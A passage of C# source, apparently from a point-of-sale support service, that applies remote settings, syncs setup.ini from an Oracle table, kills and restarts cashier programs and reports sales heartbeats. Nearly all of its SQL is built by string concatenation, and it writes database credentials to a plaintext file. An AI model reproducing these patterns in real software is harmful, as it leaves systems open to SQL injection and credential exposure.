datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set endaccount_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set endaccount_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改有效提醒天数 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "expiry_day") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set expiry_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set expiry_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 停止命令 else if (FLAG == "0" && HANDWAY != "closefunction") { string sql = ""; string Oraclesql = ""; try { sql = @"UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 " + "where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } #endregion } } } } rdSetup.Close(); conn.Close(); conn.Dispose(); //conany.Close(); } catch (Exception ex) { LogHelper.WriteServiceLog(ex.Message + "\r\n" + SqlString); } } #endregion #region 检测文件对比差异 private void TimeData_Tick(object sender, EventArgs e) { try { string _mac = GetMacAddressByNetworkInformation(); if (_mac == string.Empty) return; OracleConnection conn = QueryOracle(); bool istrue = false; var list = new List(); foreach (string setup in File.ReadAllLines("setup.ini", Encoding.Default)) { list.Add(setup); } foreach (string set in File.ReadAllLines("set.ini")) { if (list.Contains(set)) { istrue = true; continue; } else { istrue = false; break; } } if (istrue) { return; } else { #region 从数据库下载新表覆盖 string sqlsetup = "select * from " + dbname + ".T_MACHINECONFIG WHERE MACHINE_MACADDRESS = '" + _mac + "'"; OracleCommand ComSetup = new OracleCommand(sqlsetup, conn); try { conn.Open(); OracleDataReader rdSetup = ComSetup.ExecuteReader(); if (rdSetup.HasRows) { while (rdSetup.Read()) { object database = rdSetup["DATABASE"]; object startype = rdSetup["STARTYPE"]; object name = rdSetup["NAME"]; object servername = rdSetup["SERVERNAME"]; object apppath = rdSetup["APPPATH"]; object port = rdSetup["PORT"]; object setup = rdSetup["SETUP"]; object openpath = rdSetup["OPENPATH"]; object dbsync = rdSetup["DBSYNC"]; object iswork = rdSetup["ISWORK"]; object dbconect = rdSetup["DBCONECT"]; object dbip1 = rdSetup["DBIP"]; object dbport1 = rdSetup["DBPORT"]; object dbname1 = rdSetup["DBNAME"]; object dbuser1 = rdSetup["DBUSER"]; object dbpass1 = rdSetup["DBPASS"]; object conname1 = rdSetup["CONNAME"]; object serverpartcode = rdSetup["SERVERPARTCODE"]; object shopcode = rdSetup["SHOPCODE"]; object machinecode = rdSetup["MACHINECODE"]; object orapath = rdSetup["ORAPATH"]; object setups = rdSetup["SETUPS"]; object manmode = rdSetup["MANMODE"]; object systemparm = rdSetup["SYSTEMPARM"]; object softwarename = rdSetup["SOFTWARENAME"]; object dbtrans_mode = rdSetup["DBTRANS_MODE"]; object endgo_line = rdSetup["ENDGO_LINE"]; object adv_top = rdSetup["ADV_TOP"]; object adv_end = rdSetup["ADV_END"]; object input_mode = rdSetup["INPUT_MODE"]; object is_print = rdSetup["IS_PRINT"]; object is_open = rdSetup["IS_OPEN"]; object is_dpis = rdSetup["IS_DPIS"]; object xpprint_num = rdSetup["XPPRINT_NUM"]; object jbprint_num = rdSetup["JBPRINT_NUM"]; object effectiveday = rdSetup["EFFECTIVEDAY"]; object checkday = rdSetup["CHECKDAY"]; object dispcom = rdSetup["DISPCOM"]; object spdj = rdSetup["SPDJ"]; object printport = rdSetup["PRINTPORT"]; object discount2 = rdSetup["DISCOUNT2"]; object kitchenprint = rdSetup["KITCHENPRINT"]; object prefix = rdSetup["PREFIX"]; object serverpartname = rdSetup["SERVERPARTNAME"]; object brandnum = rdSetup["BRANDNUM"]; object endaccounttimes = rdSetup["ENDACCOUNTTIMES"]; object billoverlap = rdSetup["BILLOVERLAP"]; FileStream sf = new FileStream("setup.ini", FileMode.Create, FileAccess.Write); StreamWriter sw = new StreamWriter(sf, Encoding.Default); sw.WriteLine(database); sw.WriteLine("startype=" + startype); sw.WriteLine("dbname=" + name); sw.WriteLine("servername=" + servername); sw.WriteLine("apppath=" + apppath); sw.WriteLine("port=" + port); sw.WriteLine("setup=" + setup); sw.WriteLine("openpath=" + openpath); sw.WriteLine(); sw.WriteLine(dbsync); sw.WriteLine("iswork=" + iswork); sw.WriteLine(dbconect); sw.WriteLine("dbip=" + dbip1); sw.WriteLine("dbport=" + dbport1); sw.WriteLine("dbname=" + dbname1); sw.WriteLine("dbuser=" + dbuser1); sw.WriteLine("dbpass=" + dbpass1); sw.WriteLine("conname=" + conname1); sw.WriteLine("serverpartcode=" + serverpartcode); sw.WriteLine("shopcode=" + shopcode); sw.WriteLine("machinecode=" + machinecode); sw.WriteLine("orapath=" + orapath); sw.WriteLine(setups); sw.WriteLine("manmode=" + manmode); sw.WriteLine(systemparm); sw.WriteLine("softwarename=" + softwarename); sw.WriteLine("dbtrans_mode=" + dbtrans_mode); sw.WriteLine("endgo_line=" + endgo_line); sw.WriteLine("adv_top=" + adv_top); sw.WriteLine("adv_end=" + adv_end); sw.WriteLine("input_mode=" + input_mode); sw.WriteLine("is_print=" + is_print); sw.WriteLine("is_open=" + is_open); sw.WriteLine("is_dpis=" + is_dpis); sw.WriteLine("xpprint_num=" + xpprint_num); sw.WriteLine("jbprint_num=" + jbprint_num); sw.WriteLine("effectiveday=" + effectiveday); sw.WriteLine("checkday=" + checkday); sw.WriteLine("dispcom=" + dispcom); sw.WriteLine("spdj=" + spdj); sw.WriteLine("printport=" + printport); sw.WriteLine("discount2=" + discount2); sw.WriteLine("kitchenprint=" + kitchenprint); sw.WriteLine("prefix=" + prefix); sw.WriteLine("serverpartname=" + serverpartname); sw.WriteLine("brandnum=" + brandnum); sw.WriteLine("endaccounttimes=" + endaccounttimes); sw.WriteLine("billoverlap=" + billoverlap); sw.Close(); sf.Close(); } } conn.Close(); conn.Dispose(); } catch (Exception ex) { LogHelper.WriteServiceLog("TimeData_Tick:" + ex.Message + "\r\n" + SqlString); } #endregion } } catch (Exception ex) { LogHelper.WriteServiceLog("TimeData_Tick:" + ex.Message); } } #endregion #region 心跳(1min) #region 新系统切换 private void NewSystemConfig() { string _serverpart = "334030|330308|330306|330318|330319|330325|331060|331010|888888|330001|511900|511800|510400|510100"; try { Lib.SyBaseHelper.QueryOdbc("select * from sys_globle"); string _XmlPath = AppDomain.CurrentDomain.BaseDirectory + "update.xml"; if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1") { string _KillApp = "TouchCashier.exe|cashier.exe|Stardb.exe|dbsyc.exe|GetMembership.exe|DataUpdate.exe|InvoicingTool.exe|ConnectPoint.exe"; string _KillAppConfig = Lib.ConfigHelper.GetAppConfig(_XmlPath, "KillApp"); if (_KillAppConfig != _KillApp) { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "KillApp", _KillApp); } string _StartApp = "Stardb.exe|TouchCashier.exe|GetMembership.exe|ConnectPoint.exe"; //if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "\\Stardb.exe")) //{ // _StartApp += (_StartApp == "" ? "" : "|") + "Stardb.exe"; //} //if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "ConnectPoint.exe")) //{ // _StartApp += (_StartApp == "" ? "" : "|") + "ConnectPoint.exe"; //} //if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "TouchCashier.exe")) //{ // _StartApp += (_StartApp == "" ? "" : "|") + "TouchCashier.exe"; //} //else //{ // _StartApp += (_StartApp == "" ? "" : "|") + "cashier.exe"; //} //if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "GetMembership.exe")) //{ // _StartApp += (_StartApp == "" ? "" : "|") + "GetMembership.exe"; //} string _StartAppConfig = Lib.ConfigHelper.GetAppConfig(_XmlPath, "StartApp"); if (_StartAppConfig != _StartApp) { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "StartApp", _StartApp); } if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "NewSystem") != "1") { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "NewSystem", "1"); } } else { string _KillApp = "cashier.exe|Stardb.exe|dbsyc.exe|GetMembership.exe|DataUpdate.exe|InvoicingTool.exe|ConnectPoint.exe"; string _KillAppConfig = Lib.ConfigHelper.GetAppConfig(_XmlPath, "KillApp"); if (_KillAppConfig != _KillApp) { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "KillApp", _KillApp); } string _StartApp = "Stardb.exe|cashier.exe"; if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "ConnectPoint.exe")) { _StartApp += (_StartApp == "" ? "" : "|") + "ConnectPoint.exe"; } #region 四川旧系统传输方式判断 bool _bUploadService = false; if (_QualityHelper.serverpartcode.StartsWith("51")) { if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "StartApp").Contains("GetMembership.exe")) { _bUploadService = true; } else { string _BusinessType = ""; try { string _Select = string.Format("SELECT BUSINESSTYPE FROM T_SHOPMESSAGE " + "WHERE SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode); _BusinessType = Lib.SyBaseHelper.QueryOdbc(_Select).Tables[0].Rows[0]["BUSINESSTYPE"].ToString(); } catch { _BusinessType = ""; } if (_BusinessType != "" && _BusinessType != "1005") { if (Lib.HttpHelper.UrlIsExist(string.Format("http://{0}:{1}/DataServices/Service.asmx", _QualityHelper.dbip, _QualityHelper.DataServicePort))) { string _SelectSql = string.Format("SELECT SERVERPART_CODE FROM {0}.T_SHOPMESSAGE WHERE 1=0", _QualityHelper.dbuser); if (_OracleHelper == null) { _OracleHelper = new Lib.OracleHelper(_QualityHelper.dbip, _QualityHelper.dbport, _QualityHelper.conname, _QualityHelper.dbuser, _QualityHelper.dbpass); } try { _OracleHelper.ExecuteSqlTran(_SelectSql); KillExe("dbsyc.exe"); _bUploadService = true; } catch { _bUploadService = false; } } } } } #endregion if (_serverpart.Contains(_QualityHelper.serverpartcode) || _bUploadService || _QualityHelper.serverpartcode.StartsWith("36")) { KillExe("dbsyc.exe"); if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "GetMembership.exe")) { _StartApp += (_StartApp == "" ? "" : "|") + "GetMembership.exe"; } } string _StartAppConfig = Lib.ConfigHelper.GetAppConfig(_XmlPath, "StartApp"); if (_StartAppConfig != _StartApp) { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "StartApp", _StartApp); } if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "NewSystem") != "0") { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "NewSystem", "0"); } } if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "IP") != _QualityHelper.dbip && !String.IsNullOrWhiteSpace(_QualityHelper.dbip)) { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "IP", _QualityHelper.dbip); } if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "ServerPartCode") != _QualityHelper.serverpartcode && !String.IsNullOrWhiteSpace(_QualityHelper.serverpartcode)) { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "ServerPartCode", _QualityHelper.serverpartcode); } if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "ShopCode") != _QualityHelper.shopcode && !String.IsNullOrWhiteSpace(_QualityHelper.serverpartcode)) { Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "ShopCode", _QualityHelper.shopcode); } } catch { } } #endregion /// /// 状态反馈、促销信息同步 /// /// /// private void Timeinfocheck_Tick(object sender, EventArgs e) { try { if (!bgWorker.IsBusy) bgWorker.RunWorkerAsync(); } catch { bgWorker.CancelAsync(); } try { if (AuthorizationCheck(_QualityHelper.Authorization, _QualityHelper.serverpartcode)) { _QualityHelper.UpdateConfiguration("License", "1"); } else { _QualityHelper.UpdateConfiguration("License", "0"); } if (Lib.PCHelper.GetMacAddressByNetworkInformation() == "00:E2:FF:00:A4:30") { if (string.IsNullOrWhiteSpace(_QualityHelper.Authorization)) { _QualityHelper.UpdateConfiguration("License", "0"); } } } catch { } NewSystemConfig(); bool isNewSystem = _QualityHelper.ConfigurationValues("NewSystem", "0") == "1"; OracleConnection conn = QueryOracle(); try { string _mac = GetMacAddressByNetworkInformation(); //string constr = "DSN=anysql1;UID=dba;PWD=sql;"; //OdbcConnection conany = new OdbcConnection(constr); //conany.Open(); conn.Open(); DateTime conndate = DateTime.Now; String connectdate = conndate.ToShortDateString(); string connect_ip = GetAddressIP(); string machinename = Dns.GetHostName(); string machinecode = "", serverpartcode = "", shopcode = "", brandnum = ""; string _configsql = "select configuration_name,configuration_values from dba.t_configuration " + "where configuration_name in ('serverpartcode','shopcode','machinecode','version')"; DataTable _Configuration = Lib.SyBaseHelper.QueryOdbc(_configsql).Tables[0]; //OdbcCommand configcom = new OdbcCommand(_configsql, conany); //OdbcDataReader configrd = configcom.ExecuteReader(); if (_Configuration.Rows.Count > 0) { foreach (DataRow configrd in _Configuration.Rows) { if (configrd["configuration_name"].ToString() == "serverpartcode") { serverpartcode = configrd["configuration_values"].ToString(); } else if (configrd["configuration_name"].ToString() == "shopcode") { shopcode = configrd["configuration_values"].ToString(); } else if (configrd["configuration_name"].ToString() == "machinecode") { machinecode = configrd["configuration_values"].ToString(); } else if (configrd["configuration_name"].ToString() == "version") { brandnum = configrd["configuration_values"].ToString(); } } } if (machinecode == "" || serverpartcode == "" || shopcode == "") { FileStream fis = new FileStream("setup.ini", FileMode.Open); StreamReader msrd = new StreamReader(fis); msrd.BaseStream.Seek(0, SeekOrigin.Begin); string strLine = msrd.ReadLine(); do { string[] split = strLine.Split('='); string b = split[0]; if (b == "machinecode") machinecode = split[1]; else if (b == "serverpartcode") serverpartcode = split[1]; else if (b == "shopcode") shopcode = split[1]; strLine = msrd.ReadLine(); } while (strLine != null); fis.Close(); msrd.Close(); } DataStatistics _DataStatistics = new DataStatistics() { ServerPartCode = _QualityHelper.serverpartcode, ShopCode = _QualityHelper.shopcode, MachineCode = _QualityHelper.machinecode }; try { // string currcommcount = @"SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex A ,t_shopmessage B //WHERE A.SERVERPARTSHOP_ID=B.serverpartshop_id AND A.SERVERPARTCODE='" + serverpartcode + "' AND B.shopcode='" + shopcode + "' AND ISVALID = 1"; // OdbcCommand curr = new OdbcCommand(currcommcount, conany); // OdbcDataReader odbccurr = curr.ExecuteReader(); int commcount = 0; commcount = (int)_DataStatistics.GetCommodityCount(); //if (odbccurr.HasRows) //{ // odbccurr.Read(); // commcount = int.Parse(odbccurr["Expr1"].ToString());//currcommcount //} decimal sumsellcount = 0; decimal count = 0; decimal sum = 0; //string DATE = null; string workname = null; workname = _DataStatistics.GetPersonName(isNewSystem); //DATE = _DataStatistics.GetLastTrade(isNewSystem); _DataStatistics.GetSellStatistics(isNewSystem, out decimal orderCount, out decimal sellCount, out decimal factAmount); count = orderCount; sum = factAmount; sumsellcount = sellCount; #region 停用 //string sqlsum = @"SELECT COUNT(DISTINCT(TICKETCODE))as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL,sum(SELLCOUNT) as sellcount FROM DBA.t_selldata a " + // "WHERE A.SERVERPARTCODE = '" + serverpartcode + "' AND A.SHOPCODE = '" + shopcode + "' AND A.MACHINECODE = '" + machinecode + // "' AND SELLDATA_DATE BETWEEN today() and getdate()"; //OdbcCommand comsum = new OdbcCommand(sqlsum, conany); //OdbcDataReader sumread = comsum.ExecuteReader(); //if (sumread.HasRows) //{ // sumread.Read(); // count = ((sumread["max"].ToString())); // sum = ((sumread["sum"].ToString())); // DATE = ((sumread["SELL"].ToString())); // sumsellcount = ((sumread["sellcount"].ToString())); //} //string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " + // "b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" + // shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode + // "' and b.enddate is null"; //OdbcCommand comname = new OdbcCommand(sqlname, conany); //OdbcDataReader nameread = comname.ExecuteReader(); //if (nameread.HasRows) //{ // nameread.Read(); // workname = nameread["sellworkername"].ToString(); //} //else //{ // workname = "未登陆工班"; //} //if (count == "0") //{ // count = "0"; // sum = "0"; // sumsellcount = "0"; //} //string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata"; //OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany); //OdbcDataReader conrd = ocmd.ExecuteReader(); //string COMMODITY_CODE = null; //decimal SELLCOUNT = 0; //if (conrd.HasRows) //{ // conrd.Read(); // COMMODITY_CODE = conrd["COMMODITY_CODE"].ToString(); // SELLCOUNT = Convert.ToDecimal(conrd["SELLCOUNT"]); //} #endregion string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" + serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "' and machinename = '" + machinename + "'"; OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn); OracleDataReader poini = cmdpoini.ExecuteReader(); int pcount = 0; if (poini.HasRows) { poini.Read(); pcount = int.Parse(poini["count(*)"].ToString()); } if (pcount > 0) { if (count == 0) { string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + "','YYYY/MM/DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + "',curramount=null,currsellcount=null,COMMODITYINFO=null,CURRCOMMCOUNT=" + commcount + ",CONNECT_IP = '" + connect_ip + "',CURRPRESON='" + workname + "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "' and machinename = '" + machinename + "'"; OracleCommand ComSave = new OracleCommand(sqlsave, conn); ComSave.ExecuteNonQuery(); } else { string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + "','YYYY/MM/DD hh24:mi:ss'), CONTENT ='" + GetLastTrade() + "|" + GetLastSellData() + "|" + brandnum + "',CURRAMOUNT=" + sum + ",CURRSELLCOUNT=" + count + ",CONNECT_IP = '" + connect_ip + "',CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',COMMODITYINFO='" + sumsellcount + "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "' and machinename = '" + machinename + "'"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } } else { string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + "',TO_DATE('" + conndate + "','YYYY/MM/DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + "','" + shopcode + "','" + machinename + "','" + GetLastTrade() + "|" + GetLastSellData() + "|" + brandnum + "'," + sum + "," + count + "," + commcount + ",'" + workname + "','" + sumsellcount + "')"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } if (_mac != string.Empty) { string sqlSave = ""; string _strconfig = ""; _configsql = "select configuration_name,configuration_values from dba.t_configuration where lower(configuration_name) in " + "('serverpartcode','serverpartname','shopcode','machinecode','machinename','server_ip','softwarename','service_port','input_mode','commoditysaleurl','endaccounturl','updatedate','expirydate')"; DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_configsql).Tables[0]; DateTime _ExpiryDate = DateTime.MinValue; if (_DataTable.Rows.Count > 0) { foreach (DataRow row in _DataTable.Rows) { if (row["configuration_name"].ToString().ToLower() == "expirydate") { DateTime.TryParse(row["configuration_values"].ToString(), out _ExpiryDate); } else { _strconfig += (_strconfig == "" ? "" : "|") + row["configuration_name"].ToString() + ":" + row["configuration_values"].ToString(); } } } string _strSelect = "select expiry_date,expiry_day from sys_globle where var_name = 'g_ver'"; try { if (_ExpiryDate == DateTime.MinValue) { _DataTable = Lib.SyBaseHelper.QueryOdbc(_strSelect).Tables[0]; if (_DataTable.Rows.Count > 0) { _strconfig += (_strconfig == "" ? "" : "|") + "软件有效期:" + _DataTable.Rows[0]["expiry_date"].ToString(); } } else { _strconfig += (_strconfig == "" ? "" : "|") + "软件有效期:" + _ExpiryDate.ToString(); } } catch { } string _strDesc = ""; try { _strDesc = Lib.SyBaseHelper.QueryOdbc( $@"SELECT LIST(DISTINCT A.PROMOTION_ID ORDER BY A.PROMOTION_ID) AS PROMOTION_ID FROM T_SALESPROMOTE A WHERE A.SERVERPARTCODE = '{SERVERPARTCODE}' AND A.SHOPCODE = '{SHOPCODE}' AND A.SALESPROMOTE_ENDDATE >= NOW() AND A.SALESPROMOTE_STARTDATE <= NOW() AND A.FLAG = 1" ).Tables[0].Rows[0]["PROMOTION_ID"].ToString(); } catch { } string sqlfeedback = $@"SELECT COUNT(*) FROM {dbname}.T_STATEFEEDBACK WHERE MACHINE_MACADDRESS = '{_mac}' AND SERVERPARTCODE = '{SERVERPARTCODE}' AND SHOPCODE = '{SHOPCODE}' AND MACHINENAME = '{machinename}' AND MACHINECODE = '{MACHINECODE}'"; try { OracleCommand com = new OracleCommand(sqlfeedback, conn); OracleDataReader dr = com.ExecuteReader(); int feedcount = 0; if (dr.HasRows) { dr.Read(); feedcount = int.Parse(dr[0].ToString()); } if (feedcount > 0) { if (count == 0) { sqlSave = $@"UPDATE {dbname}.T_STATEFEEDBACK SET 